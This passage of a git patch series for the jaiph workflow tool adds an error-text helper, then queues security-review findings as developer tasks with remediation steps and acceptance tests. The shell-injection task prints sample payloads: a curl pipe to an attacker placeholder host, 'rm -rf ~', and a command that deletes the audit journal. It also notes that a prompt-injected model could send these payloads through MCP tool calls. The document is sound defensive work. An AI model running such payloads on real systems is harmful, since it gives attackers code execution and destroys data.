string, keys: readonly string[]): Record { + const out: Record = {}; + if (!existsSync(metaFile)) return out; + for (const line of readFileSync(metaFile, "utf8").split(/\r?\n/)) { + for (const key of keys) { + const prefix = `${key}=`; + if (line.startsWith(prefix)) { + const value = line.slice(prefix.length).trim(); + if (value) out[key] = value; + } + } + } + return out; +} + +/** + * Read a run's `return_value.txt`. In Docker mode `runDir` is discovered from + * the host-side sandbox runs mount, so `remapContainerPath` normalizes any + * container-internal prefix to the host path before reading. + */ +export function readReturnValue( + runDir: string | undefined, + sandboxRunDir: string | undefined, +): string | undefined { + if (!runDir) return undefined; + const candidate = sandboxRunDir + ? remapContainerPath(join(runDir, "return_value.txt"), sandboxRunDir) + : join(runDir, "return_value.txt"); + if (!existsSync(candidate)) return undefined; + try { + return readFileSync(candidate, "utf8"); + } catch { + return undefined; + } +} diff --git a/src/cli/telemetry/otlp.ts b/src/cli/telemetry/otlp.ts index 09cb1a42..9d25aa42 100644 --- a/src/cli/telemetry/otlp.ts +++ b/src/cli/telemetry/otlp.ts @@ -13,6 +13,7 @@ * dependencies — a `node:https`/`node:http` request is the whole transport. */ import { existsSync, readFileSync } from "node:fs"; +import { errText } from "../../errors"; import { join } from "node:path"; import { createHash } from "node:crypto"; import { VERSION } from "../../version"; @@ -482,7 +483,7 @@ export async function exportOtlpTraces( await postOtlp(endpoint, payload, headers, timeoutMs); return "sent"; } catch (err) { - warn(`jaiph: OTLP trace export failed — ${err instanceof Error ? err.message : String(err)}\n`); + warn(`jaiph: OTLP trace export failed — ${errText(err)}\n`); return "failed"; } } diff --git a/src/cli/telemetry/sentry.ts b/src/cli/telemetry/sentry.ts index 764ca417..d4aca52e 100644 --- a/src/cli/telemetry/sentry.ts +++ b/src/cli/telemetry/sentry.ts @@ -17,6 +17,7 @@ * warning and never touches the run's exit code, output, or journal. No retries. */ import { existsSync, readFileSync } from "node:fs"; +import { errText } from "../../errors"; import { basename, join } from "node:path"; import { VERSION } from "../../version"; import { postWithTimeout } from "./http"; @@ -233,7 +234,7 @@ export async function reportRunFailureToSentry( ); return "sent"; } catch (err) { - warn(`jaiph: Sentry error report failed — ${err instanceof Error ? err.message : String(err)}\n`); + warn(`jaiph: Sentry error report failed — ${errText(err)}\n`); return "failed"; } } diff --git a/src/errors.ts b/src/errors.ts index c5a9d3bd..88469e9f 100644 --- a/src/errors.ts +++ b/src/errors.ts @@ -7,3 +7,8 @@ export function jaiphError( ): Error { return new Error(`${filePath}:${line}:${col} ${code} ${message}`); } + +/** Message text of an unknown thrown value: `.message` for Errors, `String()` otherwise. */ +export function errText(err: unknown): string { + return err instanceof Error ? err.message : String(err); +} diff --git a/src/runtime/kernel/node-workflow-runner.ts b/src/runtime/kernel/node-workflow-runner.ts index 317da673..5f3174b6 100644 --- a/src/runtime/kernel/node-workflow-runner.ts +++ b/src/runtime/kernel/node-workflow-runner.ts @@ -1,4 +1,5 @@ import { basename, dirname, join } from "node:path"; +import { errText } from "../../errors"; import { writeFileSync } from "node:fs"; import { loadModuleGraph, readModuleGraph } from "../../transpile/module-graph"; import { buildRuntimeGraph } from "./graph"; @@ -63,7 +64,7 @@ if (require.main === module) { runWorkflowRunner(process.argv.slice(2)) .then((status) => process.exit(status)) .catch((err) => { - process.stderr.write(`jaiph node runner: ${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`jaiph node runner: ${errText(err)}\n`); process.exit(1); }); } diff --git a/src/runtime/kernel/node-workflow-runtime.ts b/src/runtime/kernel/node-workflow-runtime.ts index e76b1597..029227bc 100644 --- a/src/runtime/kernel/node-workflow-runtime.ts +++ b/src/runtime/kernel/node-workflow-runtime.ts @@ -1,4 +1,5 @@ import { spawn } from "node:child_process"; +import { errText } from "../../errors"; import { appendFileSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { basename, dirname, join, resolve as resolvePath } from "node:path"; import { PassThrough } from "node:stream"; @@ -1592,7 +1593,7 @@ export class NodeWorkflowRuntime { const code = (err as NodeJS.ErrnoException).code; const msg = code === "ENOENT" && interpreter ? `script interpreter "${interpreter}" not found — install it or fix the script shebang` - : err instanceof Error ? err.message : String(err); + : errText(err); error += msg; io?.appendErr(msg); resolve({ status: 1, output, error }); From 0886be9260f2079f0e29e9dcdee5666ba35c5f03 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 01:43:18 +0200 Subject: [PATCH 09/86] Docs: queue security-review HIGH/MEDIUM findings as dev-ready tasks Add #dev-ready QUEUE.md tasks for the HIGH and MEDIUM findings from the latest .jaiph/tmp/security_review_*.md report. Each task captures the context (finding id, severity, confidence), the concrete problem with code locations, a remediation direction, and acceptance criteria that fail when the security contract is violated. Covers the shell-injection sink, host-only serve token leaking across the sandbox boundary, the tamper-resistant audit journal, and library install integrity, among others. --- QUEUE.md | 172 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 172 insertions(+) diff --git a/QUEUE.md b/QUEUE.md index 64f890c3..049a3e7a 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,3 +13,175 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** + +## Stop splicing untrusted workflow values into `sh -c` #dev-ready + +Context: ASI-01/ASI-02, HIGH, confidence 0.85. Finding H-1 — the flagship shell-injection sink, traced end-to-end and confirmed by hand. + +Problem: Any non-keyword line in a `workflow { … }` block falls through to a `shell` exec body (`shellFallthrough`, `workflow-brace.ts:769-772`). At runtime the body is interpolated with a bare `String.replace` of `${name}` (zero shell escaping, `runtime-arg-parser.ts:31-44`) and handed to `spawnAndCapture(resolveShell(), ["-c", command], …)` (`executeShLine`, `node-workflow-runtime.ts:1673-1675`). Workflow parameters are caller-controlled: `jaiph mcp`/`jaiph serve` bind tool-call arguments positionally to params (`mcp.ts:129-141`). A caller (or a prompt-injected model) invoking `greet(name)` with `name = "$(curl -s http://attacker/x | sh)"` or `name = "; rm -rf ~ #"` gets arbitrary command execution — host RCE under `--unsafe`/standalone image, in-sandbox code execution + credential theft otherwise. The only guard, `warnPromptInShellLine` (`validate-step.ts:626-649`), inspects `ctx.promptCaptures` only, so it misses parameters, non-prompt captures, channel, and nested-`run` values. + +Location: `src/runtime/kernel/node-workflow-runtime.ts:1076-1091` and `:1673-1675`; `src/runtime/kernel/runtime-arg-parser.ts:31-44`; `src/parse/workflow-brace.ts:769-772`; `src/transpile/validate-step.ts:626-649`. + +Remediation: Never splice runtime values into `sh -c`. Route them through argv (as `script` steps already do — `run my_script(name)`), or shell-quote every interpolated `${var}` before it enters `sh -c` (a `shellQuote` already exists at `prompt.ts:170-181`). At minimum upgrade the guard to a hard error that fires for any interpolated variable — parameter, capture, iterator, or channel value — in a `shell` body. + +### Acceptance criteria +- A workflow `greet(name) { echo "Hello ${name}" }` invoked with `name = "$(id)"` (via mcp/serve param binding or direct run) does not execute the command substitution — output contains the literal `$(id)` text, not the result of `id`. +- Invoking the same workflow with `name = "; touch /tmp/pwned #"` does not create `/tmp/pwned` (no shell metacharacter breakout). +- A test exercises the mcp/serve positional param path (`args[p]`) reaching a `shell` body and asserts no interpolated value is shell-evaluated. +- If the chosen fix is a hard guard rather than escaping, compiling a `shell` body that interpolates any parameter/capture/iterator/channel variable is a hard error (not a warning), and a test asserts the error for each provenance. + +## Exclude host-only `JAIPH_SERVE_*` keys from the sandbox env forward #dev-ready + +Context: ASI-08/ASI-05, HIGH, confidence 0.80. Finding H-2 — the serve operator bearer token crosses the sandbox boundary. + +Problem: The env allowlist forwards every `JAIPH_*` variable into the container and the agent subprocess, excluding only `JAIPH_DOCKER_*`, `JAIPH_INPLACE*`, and `JAIPH_RUN_WORKFLOW` (`env-allowlist.ts:64-71`, `ENV_ALLOW_PREFIXES = ["JAIPH_"]` at `:31`; Docker forwarding loop `docker.ts:849-856`; `scrubPromptEnv` at `:114-124`). `JAIPH_SERVE_TOKEN` — the single-operator bearer secret authorising the entire HTTP API (`serve.ts:152`) — starts with `JAIPH_` and is not excluded, though the in-container runtime never consumes it. So every workflow the server invokes inherits `-e JAIPH_SERVE_TOKEN=` (plus `JAIPH_SERVE_OIDC_*` and other host-only server keys). A malicious or H-1-injectable workflow reads the token, exfiltrates it over the default-on network, and authenticates back to the server as the operator (full invoke/inspect/cancel). + +Location: `src/runtime/kernel/env-allowlist.ts:31`, `:64-71`, `:114-124`; `src/runtime/docker.ts:849-856`; `src/cli/commands/serve.ts:152`; `src/cli/run/env.ts`. + +Remediation: Stop blanket-forwarding `JAIPH_*`. Add a `JAIPH_SERVE_` exclusion mirroring the existing `ENV_ALLOW_EXCLUDE_PREFIX = "JAIPH_DOCKER_"`, or — safer — invert to an explicit allowlist of the specific runtime-consumed `JAIPH_*` names. Apply the same scrub in `scrubPromptEnv` so the token never reaches an agent/LLM subprocess. + +### Acceptance criteria +- With `JAIPH_SERVE_TOKEN` set in the host environment, a Docker run does not receive `-e JAIPH_SERVE_TOKEN` (a test asserts the token key is absent from the forwarded Docker env args). +- `isEnvAllowed("JAIPH_SERVE_TOKEN")` returns false, and the same holds for `JAIPH_SERVE_OIDC_*` and other host-only `JAIPH_SERVE_*` keys. +- `scrubPromptEnv` removes `JAIPH_SERVE_*` keys so they never reach an agent subprocess (a test asserts absence). +- Runtime-consumed `JAIPH_*` variables that workflows legitimately need still cross the boundary (a test asserts they are retained). + +## Make the run audit journal tamper-resistant and actually verified #dev-ready + +Context: ASI-06, HIGH, confidence 0.85. Finding H-3 — the audit journal is written by the audited party behind an unkeyed chain that no production code path verifies. + +Problem: Each `run_summary.jsonl` line carries `prev_hash`, an unkeyed SHA-256 over a public genesis constant maintained only in process memory (`CHAIN_GENESIS` and `sha256hex` in `emit.ts:9-14`; append in `runtime-event-emitter.ts:66-70`, `emit.ts:53-58`). The journal is written into `.jaiph/runs/…` under the workflow's own `cwd`, exported to every script step as `JAIPH_RUN_DIR` (`node-workflow-runtime.ts:302-311`). So the audited subject can write its own audit trail. Because the chain is unkeyed with a public algorithm, a workflow can rewrite the file with a fully recomputed, internally valid chain that omits incriminating lines (e.g. a script step running `rm -f "$JAIPH_RUN_DIR/run_summary.jsonl"`, or a rewrite). And `verifyRunSummaryChain` (`emit.ts:24-44`) is never invoked outside `emit.test.ts` — `jaiph run`, `serve`, `mcp`, telemetry export, and run listing all silently accept a broken/truncated chain. Per-step `.out`/`.err` files are likewise deletable. + +Location: `src/runtime/kernel/runtime-event-emitter.ts:66-70`; `src/runtime/kernel/emit.ts:9-14`, `:24-44`, `:53-58`; `src/runtime/kernel/node-workflow-runtime.ts:302-311`. + +Remediation: Move the journal out of the workflow's write scope (a host/parent-owned append-only sink, or an external collector — the host already tails the `__JAIPH_EVENT__` stream and can persist that copy). Replace the unkeyed chain with an HMAC or signature under a key the workflow process never sees, hold the running head hash in the parent, and actually call `verifyRunSummaryChain` (hard-fail on `ok:false`) at every read/export boundary. + +### Acceptance criteria +- The journal is written to a location (or via a mechanism) the workflow's own script steps cannot write to; a test demonstrates a script step cannot alter or delete the authoritative journal. +- The chain integrity value is keyed (HMAC/signature) under a key not present in the workflow/agent subprocess environment; a test confirms the key is absent from the forwarded env. +- `verifyRunSummaryChain` (or its equivalent) is invoked at each read/export boundary (run listing, `/v1/runs/{id}/events`, OTLP/Sentry export) and hard-fails on `ok:false`; a test feeds a tampered chain and asserts the read/export path rejects it. +- A recomputed-but-forged chain (valid under the public SHA-256 algorithm, without the key) is rejected by verification. + +## Add integrity verification to `jaiph install` and the library registry #dev-ready + +Context: ASI-09, HIGH, confidence 0.85. Finding H-4 — library installs are trust-on-first-use with no signature, checksum, or pin. + +Problem: A library install is `git clone --depth 1 [--branch ] ` and nothing more — no SHA-256, no signature, no use of `jaiph.pub` (`install.ts:196-203`; post-clone check only verifies a `.jh` exists and strips `.git` at `:167-193`). Registry entries map a name to a `url`+`description` with no pinned commit (`registry.ts:105-113`) and no URL-scheme restriction (only `typeof url === "string" && url.length > 0`). The registry index is fetched over a bare `fetch(source)` with no signature (`registry.ts:57-79`), and `JAIPH_REGISTRY` (`:34-38`) can repoint it to any URL including plain `http://` (only presence of `://` is checked). The commit is pinned in a lockfile only after the first clone — the initial install is unauthenticated, and library code executes at `jaiph run` time. An attacker who compromises an upstream repo, moves a tag, compromises/MITMs the registry host, or sets `JAIPH_REGISTRY` achieves end-to-end code substitution. + +Location: `src/cli/commands/install.ts:167-193`, `:196-203`; `src/cli/commands/registry.ts:34-38`, `:57-79`, `:105-113`. + +Remediation: Resolve each ref to a commit SHA and pin it in the registry entry (not just the post-hoc lockfile); sign the registry index (reuse the minisign key + `jaiph.pub`) and verify it; require `https://`/`ssh://` for remote sources and enforce a URL-scheme allowlist; support an optional detached signature per library and fail closed on mismatch. + +### Acceptance criteria +- The registry index is signature-verified after fetch; a tampered/unsigned index is rejected (a test asserts fail-closed). +- Remote registry/library sources must use an allowed scheme (`https://`/`ssh://`); a `http://` or otherwise disallowed URL is rejected (a test asserts rejection). +- Registry entries carry a pinned commit SHA and the install verifies the cloned HEAD matches it; a mismatch fails the install (a test asserts rejection). +- When an optional detached library signature is present, an invalid signature fails the install closed (a test asserts rejection). + +## Restrict `docker_network` / `docker_image` to host control #dev-ready + +Context: ASI-03/ASI-08, MEDIUM, confidence 0.80. Finding M-6 — a workflow file can gut the sandbox it runs in. + +Problem: When the operator has not set `JAIPH_DOCKER_NETWORK`, the entry file's `runtime.docker_network` wins over `default` and is emitted verbatim as `--network ` (`docker.ts:151-155`, `:828-830`); the in-file value from `config { runtime { … } }` (`config.ts:104-112`) is never content-validated (`validate-config.ts` checks only `${}` interpolation identifiers). `docker_network = "host"` launches the container in the host network namespace — reaching loopback-only services (a local DB, another `jaiph serve` on 127.0.0.1, a metadata endpoint) and binding host ports; `container:`/`ns:*` join another namespace. `runtime.docker_image` likewise points the sandbox at an arbitrary image. A repo-supplied or model-edited workflow shipping `config { runtime { docker_network = "host" } }` runs with host networking while still appearing "sandboxed." + +Location: `src/runtime/docker.ts:151-155`, `:828-830`; `src/config.ts:104-112`; `src/transpile/validate-config.ts`. + +Remediation: Treat `runtime.docker_network` and `runtime.docker_image` as host-controlled only (the way `runtime.docker_enabled` is already parse-rejected), or validate against an allowlist (`default`, `none`, named bridge networks) and reject `host` / `container:*` / `ns:*` unless supplied via operator env/flag. + +### Acceptance criteria +- An entry file declaring `config { runtime { docker_network = "host" } }` does not produce `--network host` unless the operator supplied it via env/flag; a test asserts the file-declared value is rejected or overridden. +- File-declared `docker_network` values of `container:*` and `ns:*` are rejected (a test asserts rejection). +- A file-declared `docker_image` is not honoured unless host-controlled (or is validated against the intended policy); a test asserts the behaviour. +- Operator-supplied `JAIPH_DOCKER_NETWORK` / image (env/flag) still takes effect (a test asserts the host-controlled path works). + +## Require operator opt-in before honouring entry-file `trusted_envs` #dev-ready + +Context: ASI-08, MEDIUM, confidence 0.75. Finding M-7 — a file-declared `trusted_envs` injects arbitrary host secrets into the sandbox, bypassing the allowlist. + +Problem: The entry file's `config { trusted_envs = "…" }` is resolved from the operator's host environment (`trusted-envs.ts:55-63`), merged into `extraEnv` (`run.ts:270`), and forwarded verbatim — bypassing `isEnvAllowed` (`docker.ts:859-861`). The reserved-key filter `isReservedEnvKey` (`env-reserved.ts:19-40`) blocks only `JAIPH_*`, not arbitrary secret names. So an untrusted/model-edited entry `.jh` declaring `config { trusted_envs = "AWS_SECRET_ACCESS_KEY GITHUB_TOKEN" }` pulls those host secrets from the operator's environment into the sandbox, where a `run` step exfiltrates them over the default network. The allowlist meant to keep host secrets out is defeated by a declaration in the file the sandbox is meant to contain. (Imported modules are correctly blocked from declaring `trusted_envs`; the entry file is not.) + +Location: `src/cli/run/trusted-envs.ts:55-63`; `src/cli/commands/run.ts:270`; `src/runtime/docker.ts:859-861`; `src/env-reserved.ts:19-40`. + +Remediation: Require a host-side opt-in (env/flag) before any entry-file `trusted_envs` value is honoured — so the operator, not the file, consents to which host secrets cross — and document that authoring the entry file is a trust boundary equal to `--env`. + +### Acceptance criteria +- An entry file declaring `config { trusted_envs = "AWS_SECRET_ACCESS_KEY" }` does not forward that host secret into the sandbox absent an operator opt-in; a test asserts the key is absent from forwarded env. +- With the operator opt-in (env/flag) present, the declared `trusted_envs` keys are forwarded; a test asserts the opt-in path works. +- The behaviour holds for arbitrary non-`JAIPH_` secret names (a test covers at least one such name). + +## Harden the image `jaiph`-presence probe and drop its login shell #dev-ready + +Context: ASI-05, MEDIUM, confidence 0.72. Finding M-8 — the image probe runs a workflow-selected image with none of the run hardening. + +Problem: `imageHasJaiph` (`docker.ts:289-299`) runs `docker run --rm --entrypoint sh -lc "command -v jaiph …"` with no `--cap-drop ALL`, no `--user`, no `--security-opt no-new-privileges`, and no `--network none` — unlike `buildDockerArgs`. The image derives from the entry file's `runtime.docker_image` (`docker.ts:145-149`) and is `docker pull`ed first (`:277-287`). `sh -lc` is a login shell, so it sources `/etc/profile` and `/etc/profile.d/*` — scripts baked into an attacker-chosen image execute as the image's default user (typically root), with default capabilities, new-privileges allowed, and default bridge egress. An untrusted `.jh` setting `runtime.docker_image = "attacker/img:tag"` gets attacker profile scripts run at higher privilege than the real hardened run. + +Location: `src/runtime/docker.ts:145-149`, `:277-287`, `:289-299`. + +Remediation: Apply the same hardening flags to the probe (`--cap-drop ALL`, `--user`, `--security-opt no-new-privileges`, `--network none`) and drop the `-l` login flag (`sh -c`); better, detect `jaiph` without executing image-controlled code (`docker inspect` / a pinned entrypoint), and gate `runtime.docker_image` to host control (see the docker_network/docker_image task). + +### Acceptance criteria +- The probe invocation includes `--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, and `--network none` (a test asserts these flags are present in the probe args). +- The probe shell no longer uses the `-l` login flag (a test asserts `sh -c`, not `sh -lc`), or the probe no longer executes image-controlled code at all. +- A test asserts profile scripts baked into the probed image are not sourced/executed by the probe. + +## Reject or distinctly identify OIDC tokens lacking `sub` #dev-ready + +Context: ASI-07/ASI-04, MEDIUM, confidence 0.72. Finding M-9 — `sub`-less OIDC tokens collapse to one shared `unknown` principal. + +Problem: `auth.ts:228` sets `const subject = typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown";`. Per-principal isolation keys entirely on `principal.subject` (`handler.ts` `lookupRun`/`listRuns` and the idempotency composite key). OIDC principals are scoped (`ownsAllRuns:false`) and may inspect/cancel only their own runs — but any two callers whose verified tokens omit `sub` (common for OAuth2 client-credentials / machine tokens) both authenticate as `subject === "unknown"` and share one run-visibility bucket. Two services on the same issuer with `sub`-less tokens let client B enumerate and cancel client A's runs and collide on A's `Idempotency-Key`. + +Location: `src/cli/serve/auth.ts:228`; `src/cli/serve/handler.ts` (`lookupRun`/`listRuns`, idempotency key). + +Remediation: Reject a verified token that lacks a non-empty `sub` (401), or derive identity from `sub` else `client_id` else fail — never a shared constant. + +### Acceptance criteria +- A verified OIDC token with no `sub` (and no fallback identity claim) is rejected with 401, or maps to a distinct per-caller identity rather than the shared `"unknown"` constant. +- Two distinct `sub`-less tokens never share a run-visibility bucket or idempotency namespace; a test asserts client B cannot enumerate/cancel client A's runs. +- A test asserts no principal is ever assigned the literal `subject === "unknown"` for isolation purposes. + +## Gate project-local `.jaiph/hooks.json` behind a workspace-trust decision #dev-ready + +Context: ASI-03/ASI-05, MEDIUM, confidence 0.80. Finding M-10 — project hooks execute on the host with no trust gate. + +Problem: Hooks run on the host CLI even for Docker runs (`hooks.ts:127-169`, `spawn(resolveShell(), ["-c", cmd], …)`), and a project-local `/.jaiph/hooks.json` is loaded and executed automatically on `jaiph run` with no confirmation, allowlist, or workspace-trust prompt (`hooks.ts:96-119`, registered at `run.ts:140,243`). The hook payload is delivered safely on stdin, but the hook command strings come from a file that may have arrived with an untrusted repository. Docs call it "trusted config" (`docs/sandboxing.md:112`) but nothing enforces that boundary. A user cloning a shared Jaiph repo and running any workflow (`jaiph run flow.jh`) executes a malicious `.jaiph/hooks.json`'s arbitrary host commands on `workflow_start` — before and outside the Docker sandbox. + +Location: `src/cli/run/hooks.ts:96-119`, `:127-169`; `src/cli/commands/run.ts:140`, `:243`; `docs/sandboxing.md:112`. + +Remediation: Gate project-local hooks behind an explicit per-workspace trust decision (prompt on first use, or an opt-in flag / allowlist), mirroring editor "workspace trust." Global `~/.jaiph/hooks.json` can remain implicitly trusted. + +### Acceptance criteria +- Running a workflow in a workspace with an untrusted project-local `.jaiph/hooks.json` does not execute its hook commands without an explicit trust decision; a test asserts the hook does not run absent trust. +- After the operator grants trust (prompt/flag/allowlist), the project hooks run; a test asserts the trusted path works. +- Global `~/.jaiph/hooks.json` continues to run without the workspace-trust gate; a test asserts global hooks are unaffected. + +## Make release-install and runtime-image toolchain verification fail-closed #dev-ready + +Context: ASI-09, MEDIUM, confidence 0.80. Finding M-11 — release-install verification is fail-open and the runtime image pulls toolchains without checksums. + +Problem: The release binary's minisign signature is checked only when `minisign` is on PATH; otherwise the installer warns and continues (`docs/install:242-256`), so a default host with no minisign degrades to checksum-only — and the checksum arrives from the same channel as the binary. `JAIPH_RELEASE_BASE_URL` / `JAIPH_MINISIGN_PUBLIC_KEY` are overridable and an empty key silently skips verification (`docs/install:213,242-243`). The bootstrap pipes an unsigned script to `bash` with an env-overridable origin (`use.ts:37-42`, `docs/run`). The runtime image fetches/executes toolchain installers (uv/rustup/bun/cursor-agent checksum ARGs default to `""` → skip; go/yq/kubectl/aws-cli/go-task fetched with no checksum) in `runtime/Dockerfile`. An attacker compromising the GitHub Release (or the channel via `JAIPH_RELEASE_BASE_URL`) can replace the binary and `SHA256SUMS` consistently and pass the checksum without the signature ever being checked; a compromised toolchain CDN poisons default runtime-image builds. + +Location: `docs/install:213`, `:242-256`; `src/cli/commands/use.ts:37-42`; `runtime/Dockerfile`. + +Remediation: Make signature verification mandatory for non-CI installs (bootstrap a pinned verifier, or treat "minisign unavailable" as fail-closed); publish and check a hash/signature of the install script itself; treat an empty `JAIPH_MINISIGN_PUBLIC_KEY` as fail-closed, not skip; populate and require the Dockerfile SHA-256 ARGs and add `sha256sum -c` for go/yq/kubectl/aws/task. + +### Acceptance criteria +- A non-CI install with `minisign` unavailable fails closed rather than continuing on checksum-only; a test/harness asserts the installer aborts. +- An empty `JAIPH_MINISIGN_PUBLIC_KEY` causes verification to fail closed, not skip; a test asserts the abort. +- The runtime `Dockerfile` requires a non-empty SHA-256 for each toolchain fetch (uv/rustup/bun/cursor-agent and go/yq/kubectl/aws-cli/go-task) and runs `sha256sum -c`; a build with a mismatched/empty checksum fails. +- The install/bootstrap script's own integrity is verified before execution (hash/signature check); a test/harness asserts a tampered script is rejected. + +## Broaden and canonicalise credential redaction #dev-ready + +Context: ASI-06, MEDIUM, confidence 0.85. Finding M-5 — redaction misses common secret names and is literal-substring only. + +Problem: `redactCredentials` fires only for env keys ending in one of four suffixes (`CREDENTIAL_KEY_SUFFIXES = ["_API_KEY","_TOKEN","_SECRET","_API_TOKEN"]`, `redact.ts:9`, `:11-14`), so it silently misses `AWS_SECRET_ACCESS_KEY` (ends `_ACCESS_KEY`), `AWS_ACCESS_KEY_ID`, `*_SECRET_KEY`/`STRIPE_SECRET_KEY`, `*_PASSWORD`/`PASSWORD`, `PASSPHRASE`, `*_PRIVATE_KEY`, `*_CREDENTIALS`, and password-bearing `DATABASE_URL`. Even for matched keys it is an exact-literal substring replace with a `< 8` char floor (`:17-24`), so base64/URL-encoding/hex/JSON-escaping or a secret split across chunks evades it, and short secrets are never redacted. The same `redactCredentials` feeds the journal, OTLP (`otlp.ts`), Sentry (`sentry.ts`), and `/v1/runs/{id}/events` (`handler.ts`) — exactly where operators are told to expect `[REDACTED]`. + +Location: `src/runtime/kernel/redact.ts:9`, `:11-14`, `:17-24`. + +Remediation: Broaden detection well beyond four suffixes (`_ACCESS_KEY`, `_SECRET_KEY`, `PASSWORD`, `PASSPHRASE`, `PRIVATE_KEY`, `CREDENTIAL(S)`, `_PAT`, `_DSN`, and substring `SECRET`/`PASSWORD`/`TOKEN`), add canonicalisation passes for base64/hex/url-encoded forms of known values, drop or lower the 8-char floor, and document the literal-substring limit as an explicit non-guarantee. + +### Acceptance criteria +- `isCredentialKey` matches `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, `SSH_PRIVATE_KEY`, and `SERVICE_CREDENTIALS`; a test asserts each is detected. +- A base64-encoded form of a known secret value is redacted in output; a test asserts the encoded form is caught. +- The 8-char floor is removed or lowered so short secrets are redacted; a test asserts a short known secret is redacted. +- Redaction improvements apply uniformly across journal, OTLP, Sentry, and `/events`; a test asserts a newly-detected secret is redacted on at least the `/events` path. From 071bb5ccfdfa1cf49797c32bc4761c11eb4f3f14 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 08:36:05 +0200 Subject: [PATCH 10/86] Docs: queue security-review LOW findings as #dev-ready tasks Co-authored-by: Cursor --- QUEUE.md | 61 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) diff --git a/QUEUE.md b/QUEUE.md index 049a3e7a..d3e4fd32 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -185,3 +185,64 @@ Remediation: Broaden detection well beyond four suffixes (`_ACCESS_KEY`, `_SECRE - A base64-encoded form of a known secret value is redacted in output; a test asserts the encoded form is caught. - The 8-char floor is removed or lowered so short secrets are redacted; a test asserts a short known secret is redacted. - Redaction improvements apply uniformly across journal, OTLP, Sentry, and `/events`; a test asserts a newly-detected secret is redacted on at least the `/events` path. + +## Redact credentials in durable `log` / `logwarn` / `logerr` journal lines #dev-ready + +Context: ASI-06, LOW, confidence 0.75. Finding L-1 — `log()` messages persisted to the journal are not credential-redacted. + +Problem: `emitLog` appends the durable LOG/LOGWARN/LOGERR payload without `redactCredentials`, unlike `emitStep`/`emitPromptEvent` (`runtime-event-emitter.ts:213-228`). A workflow that does `log("…${SOME_TOKEN}…")` persists the raw value into `run_summary.jsonl` (and streams it unredacted on the live `__JAIPH_EVENT__` stderr that hooks consume), whereas the same value inside a step's captured output would be `[REDACTED]` — an inconsistent redaction boundary, not a documented exception. + +Location: `src/runtime/kernel/runtime-event-emitter.ts:213-228`. + +Remediation: run `redactCredentials(message, this.env)` on `LOG`/`LOGWARN`/`LOGERR` durable payloads so all persisted fields share one boundary. + +### Acceptance criteria +- A workflow that `log`s a value matching a credential env var persists `[REDACTED]` (not the raw secret) in `run_summary.jsonl`; a test asserts the journal line is redacted. +- The same redaction applies to `logwarn` and `logerr` durable payloads; a test covers at least one of those paths. +- Step/prompt redaction behaviour is unchanged; a regression test still asserts step capture redaction. + +## Add a host-mode wall-clock timeout and optional max-step circuit breaker #dev-ready + +Context: ASI-10, LOW, confidence 0.85. Finding L-2 — no host-mode wall-clock timeout, step cap, or circuit breaker (kill-switch control absent). + +Problem: Docker timeout exists only for Docker mode (`docker.ts:157-176`); the host spawn in `run.ts` / `lifecycle.ts` has only user-signal SIGINT/SIGTERM handlers, no timer; the per-prompt idle watchdog covers individual backend calls only. The only automatic stop for a host/`--unsafe` run is a manual Ctrl-C. There is no overall wall-clock cap, no max-step / max-iteration bound, and no circuit breaker — the ASI-10 controls the checklist looks for. (Framed strictly as a missing kill-switch control, not a DoS finding.) + +Location: `src/runtime/docker.ts:157-176`; `src/cli/commands/run.ts`; `src/cli/run/lifecycle.ts`; `src/cli/exec/call.ts`. + +Remediation: add a parent-enforced overall run timeout (for host mode in `run.ts`, for serve/mcp in `callWorkflow`) that escalates through `killProcessTree`, plus an optional max-step circuit breaker in the runtime. + +### Acceptance criteria +- A host/`--unsafe` run that exceeds a configured wall-clock timeout is terminated without requiring Ctrl-C; a test asserts the parent kills the child after the budget. +- The same timeout applies to serve/mcp workflow calls (or is documented as shared); a test covers at least one of those paths. +- An optional max-step / max-iteration circuit breaker stops a runaway workflow; a test asserts the run ends when the cap is hit. +- Docker-mode timeout behaviour remains intact; a regression test still asserts the Docker timeout path. + +## Pin an explicit OIDC JWT algorithms allowlist in `jwtVerify` #dev-ready + +Context: ASI-08, LOW, confidence 0.72. Finding L-3 — OIDC `jwtVerify` pins no explicit `algorithms` allowlist (defense-in-depth). + +Problem: `jwtVerify(token, keys, { issuer, audience })` is called with no `algorithms` option (`auth.ts:227`). Not exploitable today: `jose` rejects `alg:none` and type-matches the JWK to the algorithm, so RS256↔HS256 confusion is not reachable with a remote JWKS. Still worth pinning `algorithms: ["RS256","ES256", …]` to constrain future key-type/JWKS changes. + +Location: `src/cli/serve/auth.ts:227`. + +Remediation: add an explicit `algorithms` allowlist matching the IdP's signing algorithms. + +### Acceptance criteria +- `jwtVerify` is invoked with a non-empty `algorithms` allowlist that includes the supported asymmetric algorithms (at least RS256 and ES256, or the project's chosen set); a test asserts the options object includes `algorithms`. +- A token whose `alg` is outside the allowlist is rejected; a test asserts 401 (or the existing invalid-token mapping) for a disallowed algorithm. +- Valid tokens signed with an allowed algorithm still authenticate; a regression test asserts success for the existing OIDC happy path. + +## Use `npm ci` and exact-pin the runtime dependency in local builds #dev-ready + +Context: ASI-09, LOW, confidence 0.72. Finding L-4 — caret dependency ranges and `npm install` (not `ci`) in the local build path. + +Problem: `package.json` uses caret ranges (`jose: ^5.10.0`, caret-ranged dev deps); the local-source installer runs `npm install` (`docs/install`), not `npm ci`. `package-lock.json` pins transitively and no `@latest` is used (good), but caret ranges plus `npm install` weaken lock enforcement versus a clean-room `npm ci`. + +Location: `package.json:34-41`; `docs/install` (local-source / install-from-local path). + +Remediation: use `npm ci` in the local build path and consider exact-pinning the single runtime dependency. + +### Acceptance 